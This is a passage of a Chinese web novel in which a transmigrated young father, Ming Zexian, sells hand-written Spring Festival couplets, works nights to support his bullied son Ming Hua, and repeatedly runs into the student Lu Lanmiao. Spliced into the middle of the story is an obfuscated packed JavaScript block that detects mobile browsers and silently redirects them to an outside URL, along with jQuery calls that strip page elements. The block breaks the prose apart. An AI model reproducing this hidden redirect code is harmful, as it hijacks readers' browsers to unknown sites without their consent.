明则仙笑了笑,随即伸出手揉了揉他的脑袋,掌心顺势往下,捏了捏明华的肩膀。 明华很瘦,是营养不良的那种瘦,小小的身体包裹在完全不能御寒的薄校服之中,指尖因为怕冷而微微蜷缩起来藏在过于长的衣袖里,头发干枯,脸颊泛着黄,脸颊也因为长期遭受寒风的侵袭而微微皴裂,看起来有些发红起皮。 明则仙看到明华就好像看到了小时候的自己,片刻后微微叹了一口气。 他想说放心,爸爸能带你过上好日子,但现在夸下海口又怕以后做不到让孩子失望,故而明则仙只改口道: “累了吧。” 他说: “你先去洗澡。” 明华站着不肯走:“爸爸,我留下来帮你吧。” 明则仙说:“不用,爸爸自己能搞定。” 他催促道:“快去洗吧,晚一些天凉了就更冷了。” 明华犹豫了一下,片刻后还是在明则仙的催促声中,一步三回头地走进了浴室。 没有明华的打扰,明则仙更加能够专注,他一口气写了好几张,直到客厅里没地方晾了,才停下来。 说实话,这些对练能不能卖出去,能不能赚到钱,他不清楚,心里其实也没有底。 可是明则仙不愿意躺在地下室里等死,坐以待毙。 天越来越冷,未来半个月还是零下,外面凄风冷雨的,而家里连个电热毯和小太阳都没有,明华还是个在上学的孩子,这样的环境,怎么可能让他能够静下心来好好读书。 再苦不能苦孩子,再穷不能穷教育,明则仙一个成年男子是能顶得住,可明华还未成年,穿着这样单薄的校服上下学,保不齐哪一天就会病倒了。 思及此,明则仙决定自己心里即便再没有底,也要试上一试。 又忍过了一晚嘈杂的睡眠环境之后,第二天,明则仙早早地起来,租了一个小三轮车,把春联都放到后面,随即去最热闹的街边抢了一个好一点的摊位。 这个摊位临近大学城和居民区,每天来来往往的很热闹,即便不是马上要过年,往常这里也经常有人摆一些摊位摊点,沿街卖一些小吃或者一些日用品,很有生活气息。 明则仙把摊布铺在地上,随即把自己写好的春联都挂出来。 他来得早,周围的摊位还很零散,都是一些卖煎饼果子或者包子早点的摊位,他的春联摊位格外突出。 明则仙上辈子专业学的会计,有时候老师也会布置一些课题让学生去做,比如调研学校周围的小吃街摊主的收入,以及尝试自己营业一个小摊点,赚取收入。 之前的都是一些小打小闹,不管赚没赚钱都不要紧,都只是当做作业去看待,但这次是自己实打实地要做生意,明则仙难免有些紧张。 但他毕竟也二十五岁了,该有的能力还是有的,倒也没紧张到坐立不安的程度,支开小椅子,就开始弄剪纸。 没多久,一个老头遛着鸟就过来了。 那老头似乎是认识明则仙,一直盯着他看,却不说话,明则仙也不怵,放下剪好的剪纸,主动起身,礼貌地打了个招呼: “阿公。” 管他认识不认识,反正看到老人家,就叫阿公就好了。 那老头听见明则仙主动和自己说话,果然缓和了脸色,踱步走了过来。 他低下头走到明则仙的摊位前,看着上面的春联和福字,道: “卖春联?” 明则仙“嗯”了一声,“孩子一个上高中一个大学了,要用钱的地方很多,暂时找不到工作,只能先出来摆摊。” “.........”老头抬起头,盯着明则仙看了一眼,片刻后才长长吐出一口气道: “这才对。” 他说:“你爸去世之后,托我们这些街坊邻居地照顾你,可你自己不争气,我们也没办法。” 他一边说着,一边摇头,拿出手机,道:“你现在想明白了就好。我买两幅春联。” 他沉吟一会儿,又道:“再给我拿几个剪纸和窗花。” “.......” 一想到原主去世的那个爹,明则仙心情复杂,卷春联的动作都慢了半拍,递给阿公的时候,阿公上下扫了他一眼,随即拿出手机扫了明则仙的收款二维码,道:“有空来我家吃饭。” 言罢,转身离去了。 明则仙:“........” 他看着阿公的背影,默然无语。 这个小插曲在明则仙的心上掠过,但很快就被忙碌的摆摊生活打断。 明则仙写的字好看,定价还比其他摊位要低一些,加上他心灵手巧,还会用剩余的剪一些当下时兴的动漫人物,小朋友都很喜欢,闹着家长要买,家长被拉着来到他的摊位,发现他的春联字写得不错加上定价低,都会顺手掏钱买一副。 明则仙摆了一整天的摊,临到晚饭的时候清点了一下,发现前一天晚上写好的春联,已经差不多快要卖完了。 他没看自己赚了多少钱,但应该差不多能赚到这几天的生活费,于是便准备收摊,先回家给明华做饭吃。 正当他准备把摊布都卷起来的时候,夜幕降临,不少龙成大学的学生也来到街上压马路,买小吃。 夜风有点大,车流经过,将角落里一条轻飘飘的春联卷起,往前带了几米。 明则仙忙着把其他东西装上三轮车,于是没有注意到那一条春联已经飘到了一个学生的脸上。 “卧槽——” 那学生本来走的好好的,正和身边的同学说着话,被迎面吹过来的春联扑了个满怀,差点连路都看不成了,摔下马路牙子,不由得惊叫道: “什么东西啊!” 明则仙闻言回过头,看见自己的春联飞出去挡到了人家,赶紧走过去,一边拿开春联一边道歉道: “不好意思,我刚刚一时间没看住,对不起啊。” 他话音刚落,视线的余光就撞上了旁边一个清凌凌的眼睛。 这双眼睛过于熟悉,让他忍不住一怔。 陆兰妙也愣住了。 怎么.........又是他?! 这个念头同时在两个人的心里掠过,掀起惊涛骇浪。 不到一周偶遇四次,如果不是明则仙知道自己没有跟踪陆兰妙,以己度人,他都要怀疑是不是陆兰妙蓄意跟踪自己了。 “没事没事。” 汤和的声音将明则仙和陆兰妙的神志同时拉回, “你下次小心点就好了。” “.......”明则仙回过神来,转过头不再看陆兰妙,对他笑了笑: “对不住啊同学。” 他说:“我请你喝奶茶,赔礼道歉成吗?” 汤和闻言,一脸诧异地看着面前这个胡子拉碴、长发及肩的大叔,惊讶道: “你请我.......喝奶茶?” “对,我刚刚急着回家,没注意到春联飘出去了,害你摔了,实在不好意思。” 明则仙把春联卷在手臂上,装上了小三轮车,随即对汤和说:“你们等我一会儿,我去买奶茶。” 言罢,他很快就跑到了不远处的奶茶店,下了单。 汤和没来得及拦住他,于是转过头对舍友陆兰妙道:“这大叔还挺有礼貌的。” 陆兰妙敷衍地应了一声,实则将眼神落在明则仙的背影上,不知道在想些什么。 没一会儿,明则仙就端着三杯奶茶回来了。 他对咖啡过敏,所以偶尔会喝奶茶提提神,对这些饮料并不抗拒,将打包好的两杯奶茶交给汤和: “给。” 他再次道歉:“不好意思,小同学。” 汤和再怎么摔疼,被一杯奶茶也哄好了,何况他本来也没生气,笑嘻嘻地将吸管戳进杯子里,喝了一口: “大叔,你人真好。” 他随意瞄了一眼明则仙小货车上的春联,随即问: “大叔,你卖春联的呀?” “算是吧。”明则仙坦然道:“中年被裁失业,还欠了一屁股债,马上就要过年了,写点春联,赚点钱回家。” “..........”汤和闻言,一脸怜悯地看着明则仙,片刻后不知道想到了什么,忽然道: “那个.......你会写篆书吗?” 汤和原本没报希望,但下一秒,就听见明则仙说:“会。” 明则仙问:“怎么了?” 汤和闻言,眼睛一亮,一把抓住明则仙的手,道:“那,那你能帮我写一份书法作业吗?” 陆兰妙闻言,在一旁开了口:“汤和。” 明则仙也迟疑了:“这........这不太好吧。” “哎呀,没关系的,我的纸质作业和手写论文都自己写,大叔你帮我写一份篆书作业就好,一份我给你一百。” 汤和说完,又转头看向陆兰妙,道: “兰妙,你又不知道我的书法课老师有多严格,去年最高都只给89分,如果这个学期我绩点要是没达到要求,就领不了奖学金了。” 陆兰妙闻言,果然不说话了。 见陆兰妙也默许了自己的行为,汤和又转过头去看明则仙,要求道: “好不好,大叔?” 一百块钱一份作业,确实有些心动,换个人都不可能会拒绝,但明则仙思考半晌,还是道: “还是算了吧。” 汤和没想到有人有钱都不赚,闻言愣了愣,道: “........为什么?” “首先收人钱要替人办事,我虽然会写篆书但不代表我能达到你的老师的要求,万一我拿了钱没能办成事会很尴尬;其次考试是检验平时学习成果的手段,作弊不好,自己的作业要自己完成才行。” 明则仙一边说着,一边上了小货车,启动了车子,在轰鸣声中,认真道:“你还是自己完成作业吧。” 汤和:“...........” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338576|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他愣愣地看着明则仙离去的背影,被教育的哑口无言,片刻后才讪讪地回过头,看向同样不可思议的陆兰妙,小声道: “兰妙,这个大叔真奇怪。” “..........”陆兰妙眼神闪烁,似乎是在想什么,并没有说话。 “走吧。”汤和已经习惯了陆兰妙经常性的沉默,吸了一口奶茶,用手肘戳了戳陆兰妙的手臂:“我们去前面逛逛。” 陆兰妙这才应了。 前方车流不止,喇叭滴滴的声响此起彼伏,明则仙去菜市场买了菜,随即又坐上车,按了一下转向灯,转过小巷子,随即在租车行停下。 他还了车,将剩下的春联都搬回家,随即看了一眼手机,发现自己买完菜后,今天还赚了一千二。 离春节还有几天,明则仙算了算,觉得自己还能再挣一些,等春节结束之后,他再一边找工作,一边送外卖挣钱。 他虽然在社会上已经是即将被淘汰的“中年人”了,但是他还有劳动能力。 只要勤劳,就会致富,这是明则仙最坚信的真理。 他起身,将给明华买的热奶茶放在他房间的桌上,准备起身做饭,面前的门却忽然咔哒一声,开了。 明则仙下意识抬头看去,只见明华的脸探了出来。 明华浑身湿漉漉的,连头发都沾着水,校服上还有可疑的黄渍,也不知道是泥水还是别的什么。 明则仙见状,有些疑惑地开口,问: “明华?” 明华吓了一跳。 他没意识到明则仙今天比他还先回来,手放在门把上,局促道:“爸爸........” “怎么搞的一身水?” 明则仙问:“外面下雨了?” “.......没。”明华镇定道:“昨天下了雨,路滑,我摔了一跤。” “这么不小心。”明则仙说:“快把衣服换下来,去洗澡,我给你做吃的。” “嗯嗯。”明华不敢靠近明则仙,怕明则仙闻到自己身上的味道,于是只慢吞吞地往屋里挪,看着明则仙进了厨房,才小跑进自己的房间。 他赶紧把门关上,像是嫌脏似的,赶紧把校服脱下来。 校服上有难闻的尿骚味,明华不知道想到什么,忽然觉得有些委屈。 他想哭,但是又怕明则仙听到,只能恶狠狠地擦了擦自己的眼睛,强行止住自己的哭声,拿上衣服,出去洗澡。 经过书桌的时候,他余光里忽然瞥见桌上的奶茶,愣了愣,下意识拿起。 奶茶还带着热意,在冬夜里,显得格外熨帖,明华握着奶茶,似乎想到了什么,忐忑不安地走到客厅,看向明则仙忙碌做饭的背影: “爸爸,这个奶茶.......” “给你的,你们年轻人不都是喜欢喝这个吗。”明明明则仙自己也才二十五岁,却已经把自己划出了年轻人的范畴,一边切菜一边说道: “我看那些大学生高中生下了课都爱买,也就给你买了。” 明华闻言,不知道为什么,刚憋下去的眼泪忽然又有涌上来的趋势。 他身体先于意识,奔了过去,从后面抱住明则仙,小声道:“谢谢爸爸。” 明则仙被他这么一动差点切到自己的手,听到明华语气里的哭腔,微微一顿,随即笑道: “这么感动啊。” 明华其实只是想借一个借口好好发泄一下在学校被人欺负的委屈,闻言也不否认,轻轻点头: “.......嗯。” “行了,一杯奶茶而已。”明则仙继续低头切菜,不理会孩子突如其来的感动和撒娇: “以后别人有的东西,爸爸也都会给你。” 明华在书里的悲惨命运的根源就是因为他太过于缺爱了,才会被原书的渣攻梁检昭勾勾手就骗到手。 明则仙记得,明华在书里会被梁检昭当做替身虐的死去活来,不仅到最后没名没分地跟着梁检昭十几年,被绑匪挟持被丢到海里不说,最后还因为流产得了抑郁症自杀。 书里最惨的部分就是梁检昭到后面还爱而不自知,直把明华当做宠物,在绑匪同时挟持了明华和他的白月光,让梁检昭二选一时,梁检昭选了白月光,怀着孕的明华最后被绑匪推进了海里,掉落入海时巨大的冲击力导致本来就心绪脆弱的明华流产。 书里的描写很弱智也很血腥,一度让明则仙怀疑书里这个世界是没有警察存在吗,不然怎么渣攻家里家世背景这么好,连自己的金丝雀都保护不好呢? 但这个问题,不是明则仙眼下需要考虑的。 书里的梁检昭在下学期才会转学过来,明华应该还没遇到他。 明则仙想让明华转学,但他现在没钱又没工作,还一身债务,有点自顾不暇,没这个能力让他转学,只能暂时搁置这个计划。 他转过头,看着因为一杯奶茶就格外幸福、脸上带着的笑意一直没有降下去的明华,心想,如果他对明华好一点,让明华不那么缺爱,那明华最后是否就不会轻易动心再爱上梁检昭,是否就能改变最后得了抑郁症自杀的命运呢? 7. 生意 明华已经很久没有在自家餐桌上看见过鸡肉了。 自从爸爸失去工作、爷爷去世,加上哥哥离家出走之后,明华就一个人负责起了家庭的各项开支,为了省钱,他几乎不怎么买肉,都买一些便宜的打折处理蔬菜,家里最奢侈的东西,就是那吃完的一挂鸡蛋—— 还是他在超市打折的时候和那些老头老太太一起冲进去抢的。 买来他也舍不得吃,要不是前几天明则仙拿来给他做蛋炒饭了,那盒鸡蛋还不知道要被珍藏到什么天荒地老的时候。 “吃吧吃吧。” 看着桌上热气腾腾的白斩鸡,明华咽了咽口水,眼底明显有些忐忑胆怯。 他还是不敢动筷子想吃,脸上闪过一丝犹豫,小心翼翼地看着解下围裙坐下来的明则仙,小心翼翼道: “爸爸,这个鸡你是哪里买来的?” “嗯?市场啊。”明则仙被问的莫名其妙的: “难不成还是我去偷的?” 明华:“........” 明则仙不知道明华此刻心里在想些什么,自顾自给他盛了一碗饭,随即拿起筷子,夹了一块鸡腿肉丢到明华的碗里: “吃吧。” 他说:“饿的面黄肌瘦的,难看。” 明华见明则仙主动给他夹菜了,才放下心,开始吃饭。 他好久没有吃到肉了,吃到后面都狼吞虎咽的,差点噎住: “咳咳咳.........” 被呛到了他也坚持把饭吞进去,再咳嗽,把明则仙看的目瞪口呆的: “你.........” 明则仙捧着一碗鱼汤,眉眼氤氲在朦胧的雾气中,有些哭笑不得: “慢点吃。” 他抽了一张纸,递给明华,慢条斯理道:“没人和你抢。” 明华捂着唇,艰难地咳嗽几声之后,才接过明则仙指尖的纸,擦了擦唇。 他唇红红的,眼睛也红红的,低下头吃饭时,明则仙还能看到他眼睫上闪着水光,分明又是哭过。 .......小哭包。 随便给他一点好处就能感动的一塌糊涂,不怪他当初被梁检昭骗的底裤都不剩。 其实想一想,当初梁检昭和明华签的就是包养合同,梁检昭给钱,明华收钱,本来是互惠互利的事情,可明华偏要喜欢上梁检昭,搞的最后下场凄惨。 明则仙一边喝鱼汤,一边看明华。 他吃完饭,照例不收拾碗筷的,很快就起身出去了。 明华把碗筷都抱到厨房去洗,等回来的时候,发现明则仙领着两袋子东西进来了。 一个袋子大,一个袋子小。 “爸爸,你买什么了?” 明华顺手将湿哒哒的手在衣服上擦了一下,走出来,疑惑地看向明则仙: “这是.......” “冻疮药膏,你涂一下。” 明则仙把塑料袋子丢到地上,随即转身进了明华的房间。 明华微微一怔,下意识跟了过去。 明则仙把较大的袋子的拉链拉开,露出里面的毯子。 “来,搭把手。” 明则仙用眼神示意明华把床垫上一层的被单掀起来,随即把电热毯铺了上去,铺平之后,又转身把插头插上。 “这是电热毯,有三种模式,你可以自己调节。” 明则仙蹲在地上指着调节的开关,道:“你洗澡之前先把电热毯打开,这样冬天进被窝睡觉就不冷了。” 明华:“.........” 他错愕地看着正在源源不断向外散发热意的电热毯,不知所措道:“没事的爸爸,我不冷........” 他说:“这么贵的东西........还是给你用吧。” “几十块钱而已,我自己也买了,明天到。” 明则仙自己在网上买了更便宜的, “你还是孩子,你先用,我明天也能用上。” 明华踌躇地站在原地,看着明则仙带笑的眉眼,低下头,狠狠擦了擦眼泪,哽咽道: “谢谢爸爸。” “没事。” 明则仙揉了揉他的脑袋:“去写作业。” 明华点了点头,看着明则仙离去、似乎打算出门的背影,忍不住开口问道: “爸爸,你去哪?” 明则仙闻言,脚步一顿,转过头来看向明华。 他没有马上回答,明华被他的眼神看的浑身一僵,遍体生凉。 他怕明则仙会训斥他少管大人的事情,于是几秒钟之后,才磕磕巴巴道: “对不起爸爸,我不是故意要问........” “没事啊。”明则仙被他逗笑:“我出去赚钱。” 他刚刚回来的时候,发现不少餐馆在招小时工,他去后厨洗盘子,应该能挣一点钱。 洗盘子不需要什么形象,加上晚上正是后厨忙碌的时间,明则仙很快就应聘上岗了。 他洗盘子洗到晚上一点多才回到家,赚了八十。 回来之后他又强撑着困意写了几副春联,写完之后倒在冰冷的地上就睡着了。 他睡了五个小时,七点多的时候被明华给他盖被子的动静惊醒。 他看着逐渐亮起的天空,问明华是不是要去上学,得到明华肯定的答案之后,又慢慢爬起来洗漱,准备去摆摊卖春联。 马上要过年了,能卖春联的时机就这么几天,他不能耽误,耽误久了,赚钱的黄金期就过去了。 他今天来的晚,有些好的黄金摊位已经被人占了。 明则仙没办法,只能到边缘一点的位置卖春联。 地段不好了生意自然也就差了,好在明则仙心态好,并没有太失望。 做生意本来就是周期性的,不可能天天都赚的像昨天那么多,昨天能赚一千多,是因为有不少他爸爸的旧相识来捧场的结果。 今天生意不太好,明则仙就一直摆到九点钟,才准备收工。 正当他准备收摊的时候,身后忽然传来了一声动静—— “喂。” 明则仙慢半拍地转过头,见一个熟悉的少年正站在他身后,面无表情地看着他。 “.........是你?” 明则仙没能忘了这个让保镖把他按在地上暴揍的少年,微微挑起眉。 他把春联放到小三轮车上,躲开一个骑过来的单车,随即道: “又怎么了少爷?” 他自证清白:“我这回可没有跟踪你啊。” “我又没说你跟踪我,你做贼心虚什么。” 陆兰妙从鼻子里哼出一声不屑的音调,缓步走到了明则仙的身边。 他比明则仙矮一个头,于是不得不仰视明则仙。 这种感觉让他很不爽。 他于是轻“啧”了一声。 明则仙:“???” 他莫名其妙地看着陆兰妙,见陆兰妙臭着脸看他,无语几秒之后,方耐心道: “所以你到底........” “马上要过年了,我也要买几副春联。” 陆兰妙说:“多少钱一副?” 有生意来了,明则仙不可能不赚,但看着陆兰妙的穿着举止,不像是需要自己亲自操心家里布置的人。 于是他依靠在小三轮车上,手臂搭在后面,低头看着陆兰妙: “贵是不贵。” 他说完,又补充道: “但是我不卖给你。” 陆兰妙:“...........” 他微微瞪大眼,不可置信地看着明则仙,像是在看一个什么怪人: “你.....你不卖给我?!” “对。”明则仙站在街边看着他笑,身后是来往的自行车: “少爷,你是因为那天的事情心里感到抱歉,所以想买我的春联?” 他说:“你根本不是真的需要,对吧。” 陆兰妙被戳中了心思,登时炸毛。 他嘴硬不肯承认,道:“才不是。” 他说:“我就是需要........” 他话还未说完,身后忽然自行车的铃声,他还未反应过来,衣领就猛地被人一拉,他身体瞬间被巨大的力量拉了过去,脸毫不设防,砰的一下撞在了坚硬的胸膛上: “唔.........” 他疼的眼泪刷的一下就流下来了,捂着鼻子想要推开明则仙,却被明则仙的声音打断了: “同学,骑车的时候别玩手机。” 他说:“差点撞到人了。” “抱歉抱歉啊。” 一个男声响了起来,片刻后陆兰妙感受到一阵视线落在了他的后脑勺:“同学你没事吧。” 陆兰妙这才从明则仙密不透风的怀里探出头来。 他眼睛红了,捂着鼻子闷闷道: “没事。” “啊.......”男生看着陆兰妙过分漂亮的丹凤眼,微微一愣,想说的话都卡在喉咙口,好半晌才道: “同学,我们加个微信吧。” 他磕磕巴巴地保证:“我送你去校医院,有问题......有问题我一定负责!” 明则仙已经松开了陆兰妙的衣领,看着这因他二起的美妙邂逅,微微挑了挑眉。 年轻真好啊。 明则仙响起自己读大学的时候,虽然有不少人对自己表达过好感,但他当时忙着赚钱读书,都没时间谈恋爱,直到来到这个世界喜当爹,都特么还是单身狗一个。 真是造化弄人。 明则仙转过身,不欲打扰年轻人谈恋爱,正准备骑他那个破三轮车离开,却忽然听到身后传来陆兰妙的声音: “不用了,我没事。” 陆兰妙说:“你走吧。” 那男生还在坚持:“要不我们加个微信.........” “我手机没电了。”陆兰妙拒绝。 “..........” 几秒钟的沉默过后,明 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明则仙拿他没办法,只能道:“你要多少。” 陆兰妙也不知道,他只想给明则仙送钱来弥补当日因为误会对明则仙造成的伤害,于是便随口道: “全部吧。” 他说:“我全都要了。” 明则仙盯着陆兰妙看了一眼,片刻后忽然笑了起来。 陆兰妙被他笑的莫名其妙的, “你笑什么。” “笑你傻的可爱。”明则仙被他逗乐, “你长得这么嫩,还是学生吧?买这么多春联,是打算放哪里?宿舍吗?你宿舍堆得下吗?还有,你家需要用这么多的春联?” 陆兰妙被他说的脸颊发红,但又不肯在他面前露怯,只道: “你,你卖就是了,哪里来这么多问题!” 明则仙随口道: “我倒是无所谓啊,但我得考虑你啊。” 陆兰妙的脸忽然热起来,死死盯着明则仙不说话,明则仙被他看的心里毛毛的,想了想,又补充道: “是吧,顾客。” 陆兰妙:“...........” 他用力咬紧下唇,指尖微微蜷缩起来,片刻后松开,撇过头: “我自然有办法。” 他说:“你只管卖就是了。” “行吧。”生意来了关上门也挡不住,明则仙便利落地跳下车,给陆兰妙清点好,随即道: “一共三百三十八。” 明则仙道:“给你优惠,三百三就成。” 陆兰妙瞥他一眼,直接扫了他的收款码。 “支付宝到账,三百三十八。” “不用优惠。”陆兰妙抬起下巴,“我又不差这点钱。” “好帅哦。”明则仙被他这幅洋洋得意的样子逗乐, “少爷,那你想好怎么处理这批春联没有。” 陆兰妙说:“你好烦,别叫我少爷。” 明则仙的语气里带着调侃:“那叫什么?” “.......随便你!叫什么都行!”陆兰妙低头摆弄着手机,没再看明则仙: “你给我留个联系方式,到时候我会和你说个时间,你再把这批春联送到我学校的学生活动中心吧。” “行。” 明则仙说:“那时间你定。” 他给陆兰妙发去了好友申请,还不等陆兰妙通过就转过了身,干脆利落,毫不拖泥带水:“我先走了。” 陆兰妙见状,不知为何,忽然有些不满,开口道: “我买了你这么多东西,你竟然..........” 明则仙转过头看他:“竟然什么?” “...........没事。”陆兰妙点下了同意,看着屏幕上明则仙发过来的名字,心里微微惊讶一个看起来蓬头垢面的大叔竟然有这么飘逸潇洒的名字: “大叔,你叫明则仙啊。” “是啊。”明则仙说:“不好听?” “.......一般。” 陆兰妙其实喜欢明则仙的名字,但是他不说,只是把自己的名字发了过去。 明则仙感受到兜里的震动,下意识低下头,掏出手机看了看,随即笑: “你的名字,好像个漂亮的女孩子。” 陆兰妙不知道想到了什么,眼神一暗,随即也学着明则仙反问道:“不好听?” “没有,我挺喜欢的。”明则仙低下头,没注意到陆兰妙变来变去的神情,看了一眼时间,随即道: “我得回去给我儿子做夜宵了。” 他仰起头,将凌乱的头发梳到头顶,露出一双漆黑深邃的眼睛,低沉的声音沉稳又带着不容抗拒,淡淡的笑意像是滴入陆兰妙心脏的水,令他心尖猛地一颤: “下次见,妙妙。” 8. 等待 因为按照原书的剧情,明则仙此时有一个和陆兰妙差不多年纪的大儿子明景,所以明则仙很自然地在心里将陆兰妙放在了需要照顾的孩子那一栏。 在他听起来,叫妙妙就和叫孩子的小名差不多,既能拉近关系,又能找到恰当的叫法称呼这个脾气忽晴忽阴的大少爷,一举两得。 抱着这样的想法,他将剩下的货载回了家中。 有了街坊邻居熟人的帮助,加上他陆兰妙今天又将所有的春联都买下来了,还有他在外面洗盘子做兼职的钱,差不多已经挣了两千块了。 可是,还不够。 地下室冬冷夏热,完全不能住人,加上环境吵闹,影响孩子学习和休息,明则仙计划年后就带着明华搬出去住。 可这里是中心城区,房租不低,加上他还带着两个孩子,要住在离明华学校近一点、好一点的三室一厅地段,每个月最低也要两千左右。 房租加上水电,再加上通勤费,一个月差不多就要两五,还有吃饭、买衣服,两个人加起来,每个月最低开销也要一千五。 再加上一些零零散散的花费......... 明则仙坐在只剩半张的客厅桌边,手中的笔飞速运算着。 这么下来,要是搬出去住,他每个月的纯开销最低就要四千块。 更别说明景现在读大学了,每年还要交学费,生活费........ 加上那十六万的债务......... 明明则仙越算心越凉。 到最后,明则仙甚至开始认真思考卖肾还钱的可能性了。 正当他笔尖在纸面上飞速滑动的时候,地下室的门忽然咔哒一声,从外面打开了。 明则仙下意识抬起头,见明华背着书包,慢吞吞地走了进来。 他手上涂了膏药,看起来没有那么红肿了;加上摄入了蛋白质,有了电热毯,睡眠环境也舒适了不少,精神状态也比之前好了一些,但神情看起来仍旧有些萎靡。 “回来了。” 明则仙放下笔,看他:“饿了吗?今天怎么会来的这么晚?” “.........爸爸。”明华看起来有些迟钝,眼珠微微转动片刻,看向明则仙,半晌,声音放低: “明天要考试了,我.......就留在班里多自习了一会儿。” 其实他是第三节晚自习快要下课的时候,实在撑不住睡着了,等到他醒来的时候,班上人都已经走光了,灯也熄灭了,他一个人在漆黑的环境里惊慌失措了很久,借着月色,跌跌撞撞地冲到门前试图开门,但门已经被外面锁上,他近乎绝望地在密闭的环境里呆了半个小时,直到惊恐的拍门声引起了保安的注意,保安才开门把他放出来。 “学习重要,身体也很重要,下次早点回家。” 明则仙看了一眼时间,随即道:“饿了吗?爸爸给你做吃的。” 他站起来,走到厨房里系好围裙,道:“想吃什么?” 明华此刻惊惧过头,其实没什么胃口,但胃中确实饿的绞痛起来,他按了按小腹,随即弱声道: “爸爸,我想吃烤冷面。” “大晚上的哪里给你找烤冷面去。” 明则仙哼笑,起锅点火:“给你煮个牛肉汤面吧。” 他动作很快,十多分钟后,牛肉汤面就端上了桌。 牛肉是明则仙特地赶早买的水牛肉,嫩滑新鲜,汤汁香甜,面也很有嚼劲,明华只吃了一口就停不下来,最后甚至连汤都喝光了,放下碗时还有些意犹未尽。 “爸爸,好好吃。”明华眼睛亮亮的,看着明则仙: “爸爸,你好厉害呀。” 明则仙没吃,唇边咬着烟,指尖玩着打火机,并没有抽烟,闻言抬头看了一眼明华,随即敷衍道:“犒劳你的。” 他开玩笑说: “吃了我的面,明天的考试,要好好发挥才行。” 明华闻言,脸上的笑意一僵。 他缓缓低下头,指尖绞着衣摆,半晌,双唇微动,嗫喏地吐出几个字: “爸爸,要是我没考好怎么办?” “对自己这么没信心?”明则仙说:“算了,你别给我考班上倒数第一就行。” “我不会的!”明华闻言,赶紧抬起头,保证道:“我绝对不会靠倒数第一!” “那就行。”明则仙说:“今天晚上就别熬夜苦读了,好好休息。等你考完试出了成绩,要是排名能进班级前百分之五十,爸爸额外给你买礼物,算作奖励。” 明华闻言,略带期待道:“爸爸你给我买什么礼物?” “还没想好。”明则仙赶他去洗碗:“把碗洗了,然后去洗澡睡觉。” “.......哦。”不能他提前知道惊喜,有些失望,但片刻后又振作起来,心想爸爸给什么他都喜欢。 他一定要努力读书考试,和哥哥一样争气靠近龙成大学,不让爸爸失望。 思及此,明华听话地洗了碗,洗完澡后又继续进屋学习了。 明则仙洗完澡后也没有闲着。 希望的日薪太低,还累,明则仙写完明天的春联之后,又拿出手机,在找工作的网站上找兼职。 他看到半夜,看的眼睛都酸痛了,才找到几个符合条件的日薪高的兼职。 有饭店服务员、小吃店服务员和花店协助员。 日薪都差不多,关键看哪个肯要明则仙。 明则仙知道自己现在年纪大,在就业市场上已经没有什么优势了,但他不怕吃苦,什么都肯干。 他忙到很晚才睡下,因为太累了,连头顶夫妻的吵架声和车流声都无法阻止他入睡。 一觉睡到六点多,他关掉闹钟,睡眼惺忪地起来给明华做早饭。 今天明华要考试,得吃饱。 明则仙将牛奶放下去热,随即做了鸡蛋卷,还蒸了几个红枣核桃馒头。 他算好了时间,等到明华起床之后,早餐刚好可以端上桌。 明华自己一边做一边吃,等到明华起床洗漱的时候,他已经准备出门出摊了。 “明华,爸爸走了。” 明则仙一边穿衣服,一边往门外走。 衣服不御寒也不贴身,有些宽大,风呼呼的灌进来,将他的声音吹的有些破碎: “你吃完早饭自己坐公交车上学,钱压在牛奶杯子底下了。” 明华见状,拿着钱追出来,道: “爸爸,我有钱的!” 而此时的明则仙已经听不到他说话,蹬着小破三轮车离开了。 风吹起他的衣摆,将他的一头长发吹的有点凌乱,出现在明华眼底的半张侧脸的胡子没刮,看起来很是颓废狂野。 明则仙今天抢了一个好摊位,开始营业。 马上就要过年了,周围饭店小吃店和花店的生意都不错,不少外出务工的已经从外地回来过春节了,还有前来旅游的人,大街上一大早人就很多,明则仙很快就做成了几单生意。 他休息的时候,就坐在小椅子上剪纸,直到快到九点多的时候,头顶忽然罩下一阵阴影。 明则仙停下拿着剪刀的手,下意识抬起头去看,只见第一天出摊的时候,前来光顾过的阿公正低头看着他。 “........阿公。”明则仙下意识站起来,对他笑道:“你怎么来了?” “来看看你。”阿公眯着眼睛看向他,片刻后若有所思道: “你瘦了一点。” 看起来衣服都大了。 明则仙闻言低下头,随即笑道: “这几天生意多,难免的。” “等大年三十过后,就没有多少人□□联了。” 毕竟是老朋友的儿子,阿公忍不住问:“你接下来有什么打算?” 明则仙也不瞒着,道:“我打算先找个稳定的工作,服务员或者保安都行,实在不行我送外卖,总能赚到钱。” 阿公闻言,忍不住叹气:“服务行业都是吃青春饭的,干不了几年。” 明则仙说:“我知道..........但现在也没办法了,家里急用钱,先走一步看一步吧。” 阿公看着明则仙,欲言又止,片刻后道: “要不要我借你点钱.......” “不用了,阿公,你来照顾我生意我已经很感激了。”明则仙拒绝道:“我自己欠的钱,我自己还。” 阿公只好打消了这个年头,想了想,又道: “要不这样,反正我退休了也没什么事,子女今年在外地过年也不回来.......你要是信我,这几天我帮你看着摊位,你出去,找点别的事做。” 明则仙正愁没时间去做兼职,听到有人说愿意帮自己看摊位,登时大喜过望: “那多谢阿公!” 阿公摆了摆手。 明则仙顺势让开位置,让阿公坐下,又道了谢,随即便扫了一辆共享单车,骑车去了招聘兼职的地方。 他去的有点晚,饭点和小吃店都不招人了,明则仙在近正午的时候,才来到了需要协助员的花店。 他去的时候正好是中午吃饭的时间,花店内静悄悄的,明则仙以为没有什么人在,都不抱希望了。 但本着来都来了的想法,他走进店里,连喊了两句“有人吗”,直到第三声的时候,店内才走出来一个中年女性。 她看起来不高,一米六左右,身材微胖,表情看起来也有些严肃,身上穿着印着“云溪花店”的围裙,看向明则仙,一脸疑惑又警惕地问: “什么事?” “你好,请问你还招兼职吗?” 明则仙问:“我看你在网上发布了招兼职的告示,我就来了。” “噢,你是来招聘的。”听到明则仙的来意,女人微微放松了一些,脸上也挂上了笑意: 